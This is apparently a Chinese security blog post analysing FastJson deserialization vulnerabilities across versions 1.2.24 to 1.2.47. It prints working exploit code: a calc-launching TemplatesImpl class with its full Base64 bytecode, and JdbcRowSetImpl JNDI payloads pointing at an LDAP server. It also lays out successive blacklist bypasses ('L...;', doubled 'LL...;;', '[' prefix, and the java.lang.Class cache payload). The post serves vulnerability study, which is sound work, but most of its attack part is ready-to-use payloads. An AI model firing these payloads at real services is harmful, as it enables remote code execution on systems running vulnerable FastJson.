Java安全-FastJson反序列化分析

FastJson介绍

Fastjson 是阿里巴巴推出的一款高性能 JSON 序列化/反序列化库,由于其便捷性被广泛应用于 Java 项目中

FastJson使用

java 复制代码
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastjsonDemo {
    public static void main(String[] args) {
        // 模拟正常的JSON数据
        String jsonInput = "{\"name\": \"Alice\", \"age\": 30}";

        JSONObject jsonObject = JSON.parseObject(jsonInput);

        System.out.println(jsonObject);
    }
}

原理

在早期版本中,FastJson 默认开启的 autoType 功能使得反序列化过程中能够根据 JSON 数据中的 @type 字段动态加载类

反序列化过程中,如果 JSON 数据中包含 @type 字段,Fastjson 会根据该字段动态加载指定的类并进行实例化。攻击者可以构造恶意的 JSON payload,通过指定一个在目标环境中存在且具有危险方法的类,从而在反序列化过程中触发代码执行

对比原生反序列化漏洞的差异

FastJson 的反序列化完全独立于 Java 原生序列化机制,它通过反射直接调用目标类的 Setter 方法 或直接对字段赋值,所以目标类不需要继承 Serializable 接口

影响版本

  • Fastjson 1.2.24 至 1.2.68

1.2.24

DNS探测

利用DNSLog平台进行漏洞验证

Payload: {\"@type\":\"java.net.Inet4Address\",\"val\":\"dnslog的域名\"}

查看平台如果存在记录证明漏洞存在

TemplatesImpl链

利用条件

  • FastJSON 1.2.22至1.2.24
  • 启用 Feature.SupportNonPublicField 特性

复现

Template 想必大家已经很熟悉了(如果不熟悉的话可以看看前面的 CC4 利用链分析,我懒癌晚期嘿嘿)通过 ClassLoader 加载恶意类,但它需要开发者开启 Feature.SupportNonPublicField 才能利用,因为 _bytecodes 等字段都是私有的

先构建一个恶意类,熟悉的配方熟悉的味道,随便找个类运行一下,让 target 目录下生成 class 文件

java 复制代码
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}

}

将恶意字节码用 Base64 编码

java 复制代码
package org.example;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Base64Payload {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Files.readAllBytes(Paths.get("F:\\Java开发目录\\FastjsonTest\\target\\classes\\org\\example\\Calc.class"));
        String base64 = Base64.getEncoder().encodeToString(bytes);
        System.out.println(base64);
    }
}

把生成的字节码替换到下面的 _bytecodes 里

java 复制代码
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastjsonDemo {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAsmEnable(true);

        String payload = "{"
                + "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","
                + "\"_bytecodes\":[\"yv66vgAAADQAMQoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvQ2FsYzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAnAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACQAKBwArDAAsAC0BAAhjYWxjLmV4ZQwALgAvAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMAAKAQAQb3JnL2V4YW1wbGUvQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACgANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACAAEAEAAWAAEACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAWAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFwAYAAIAAAABABkAGgADAAgAGwAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADQAJABAADAAOAA0ADwARABEADQAAAAwAAQANAAQAHAAdAAAAHgAAAAcAAkwHAB8EAAEAIAAAAAIAIQ==\"],"
                + "\"_name\":\"test\","
                + "\"_tfactory\":{},"
                + "\"_outputProperties\":{}"
                + "}";

        JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
    }
}

优缺点

首先来说优点,这条链可以在不出网的情况下利用,不需要远程加载恶意类

缺点也很明显,上面也提到,由于 _bytecodes 这些属性都是私有的,必须开发者在使用 FastJson 时手动开启 Feature.SupportNonPublicField 才能利用,条件过于苛刻,实战中很难打出来

JdbcRowSetImpl链

TemplatesImpl 这条链条件这么苛刻,那博主有没有简单且强势的利用链?有的,兄弟,有的!它就是我们要说的 JdbcRowSetImpl 链

与前者不同的是,它是通过 JNDI 注入的方式来加载恶意类,适用于目标出网的情况。由于是通过 JNDI 注入攻击,因此它受 JDK 版本限制

利用条件

  • JDK 6u132、7u122、8u113 之前:允许从远程 JNDI 服务加载任意类,可直接利用
  • JDK 6u132+/7u122+/8u113+:默认禁用远程类加载

复现

复现代码是这样子的,稍后会针对 JdbcRowSetImpl 进行分析

java 复制代码
package org.example;

import com.alibaba.fastjson.JSON;
import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws NamingException {
        String Payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"DataSourceName\":\"ldap://127.0.0.1:8085/Redwghug\"," +
                "\"AutoCommit\":\"true\"}";
        JSON.parseObject(Payload);
    }
}

这里我直接用 Yakit 启动了一个 LDAP 服务,当然你也可以自己手动搭建,不过比较麻烦,所以推荐这种方式

看下运行效果

我们来分析一下 JdbcRowSetImpl 为什么可以作为一条利用链来打 FastJson

在 "对比原生反序列化漏洞的差异 " 中提到 "通过反射直接调用目标类的 Setter 方法或直接对字段赋值",因此我们跟进 JdbcRowSetImpl,看看其中的 DataSourceName 字段

在我们的 Payload 里,给 DataSourceName 传入了一个值,因此会触发对应的 Setter 方法

然后你可能会疑惑,代码里也没有调用到 AutoCommit 啊,那设置它干什么呀?

别慌,听我慢慢的给你催牛

由于我们 Payload 同样也给 AutoCommit 传入了一个值,所以我们直接找它对应的 Setter 方法。在这里,它需要我们传入一个布尔值。当 this.conn 为空时,会调用同类下的 connect 方法,接着跟进看看

可以看到,这里会调用我们传入的 DataSourceName 的值,带入到 lookup 进行远程加载,这就是 JNDI 注入的地方

也就是说,我们 Payload 中之所以要设置 DataSourceName,就是想利用它来传递恶意的远程加载类,而 AutoCommit 是为了触发这条链。这样一看,是不是很清晰?

1.2.25-1.2.41

修复方式

从 1.2.25 开始,autoType 默认为关闭,并且增加了 checkAutoType 黑名单校验

如果用 1.2.24 的 Payload 直接测试 FastJson 就会抛出 "autoType is not support" 的异常

如果要执行,需要手动开启 autoType

java 复制代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

即使开启 autoType,直接运行还是会报错,下断点我们跟进分析

下断点调试,走到这里可以看到多了一个 checkAutoType 的检查,跟进看一下

跟进来后可以看到,这里有一个黑名单校验,相当于禁用了 com.sun 包下所有类的使用,检测到直接抛异常。恰好我们用的 JdbcRowSetImpl 就是 com.sun 下面的

绕过方式

其实根据上面的分析,可以判断这条链废了,但真的是这样吗?(要是真用不了,我就不写了)

实则不然!

上 Payload!

java 复制代码
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws NamingException {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String Payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
                "\"DataSourceName\":\"ldap://127.0.0.1:8085/jJcIzjPq\"," +
                "\"AutoCommit\":\"true\"}";
        JSON.parseObject(Payload);

    }
}

眼尖的大帅锅已经发现了,这次的 Payload 在包名做了一丢丢修改,原本的 com.sun.rowset.JdbcRowSetImpl 变成了 Lcom.sun.rowset.JdbcRowSetImpl;

为什么这样写会触发命令执行?不是已经给 com.sun 包过滤了吗?

我们再次进行调试,还是跟进到 ParserConfig 下面,这次走到黑名单校验的地方不会抛出异常了,因为传入的是 Lcom.sun.rowset.JdbcRowSetImpl;,黑名单里没有匹配到

接下来往下继续走,走到这里,跟进去看一下 TypeUtils.loadClass 的具体逻辑

在这里会匹配以字母 L 开头并且以 ; 结尾的一串数据,然后再把截取到的数据 "掐头去尾" 赋值给 newClassName,也就相当于把 Lcom.sun.rowset.JdbcRowSetImpl; 又还原成了 com.sun.rowset.JdbcRowSetImpl

通过调试可以看到,其实这里是个逻辑错误,实际上这次代码是走到了第一个 for 循环里面,与之前触发黑名单校验不同,这里进入 TypeUtils.loadClass 后返回的依旧是 Lcom.sun.rowset.JdbcRowSetImpl; 这就导致黑名单匹配不到数据,绕过了安全检查

java 复制代码
for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

1.2.42

修复方式

checkAutoType 过滤了 L ;,并且把黑名单检测方式改成了 Hash,还用原来的配方下断点调试

到这可以看到它把 Lcom.sun.rowset.JdbcRowSetImpl; 还原成了 com.sun.rowset.JdbcRowSetImpl 然后进行黑名单检查,所以这里 1.2.41 的行不通了

绕过方式

可以用双写绕过检测,Payload 如下

java 复制代码
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws NamingException {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String Payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
                "\"DataSourceName\":\"ldap://127.0.0.1:8085/jJcIzjPq\"," +
                "\"AutoCommit\":\"true\"}";
        JSON.parseObject(Payload);

    }
}

1.2.43

绕过方式

前面使用 L; 绕过的方法彻底行不通了,但在 TypeUtils.loadClass 中不仅有 L;,它还截取了 [,因此我们可以使用 [ 绕过黑名单检查,黑名单由于匹配不到 [com.sun.rowset.JdbcRowSetImpl 就直接给放行了,一直走到 TypeUtils.loadClass 中,将 [com.sun.rowset.JdbcRowSetImpl 又还原成了 com.sun.rowset.JdbcRowSetImpl

Payload如下

java 复制代码
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws NamingException {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String Payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:8085/jJcIzjPq\", \"autoCommit\":true}";
        JSON.parseObject(Payload);

    }
}

1.2.25-1.2.47 通杀

Fastjson 1.2.25-1.2.47 的通杀漏洞本质是缓存机制的缺陷,通过分阶段注入类名,利用合法类绕过安全限制,最终触发 JNDI 注入

前提条件

  • 1.2.25-1.2.32:需关闭autoTypeSupport(默认关闭),否则黑名单检测会拦截JdbcRowSetImpl
  • 1.2.33-1.2.47:即使开启autoTypeSupport也能绕过

绕过方式

java 复制代码
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws NamingException {
        // ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String Payload = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"ldap://127.0.0.1:8085/jJcIzjPq\",\n" +
                "        \"autoCommit\":true\n" +
                "    }\n" +
                "}";
        JSON.parseObject(Payload);

    }
}
相关推荐
安全方案2 小时前
精心整理-2024最新网络安全-信息安全全套资料(学习路线、教程笔记、工具软件、面试文档).zip
笔记·学习·web安全
一个public的class2 小时前
什么是 Java 泛型
java·开发语言·后端
士别三日&&当刮目相看2 小时前
JAVA学习*Object类
java·开发语言·学习
快来卷java2 小时前
MySQL篇(一):慢查询定位及索引、B树相关知识详解
java·数据结构·b树·mysql·adb
神经毒素3 小时前
WEB安全--文件上传漏洞--一句话木马的工作方式
网络·安全·web安全·文件上传漏洞
凸头3 小时前
I/O多路复用 + Reactor和Proactor + 一致性哈希
java·哈希算法
swift开发pk OC开发3 小时前
如何轻松查看安卓手机内存,让手机更流畅
websocket·网络协议·tcp/ip·http·网络安全·https·udp
慵懒学者3 小时前
15 网络编程:三要素(IP地址、端口、协议)、UDP通信实现和TCP通信实现 (黑马Java视频笔记)
java·网络·笔记·tcp/ip·udp
anda01093 小时前
11-leveldb compact原理和性能优化
java·开发语言·性能优化
Pasregret4 小时前
04-深入解析 Spring 事务管理原理及源码
java·数据库·后端·spring·oracle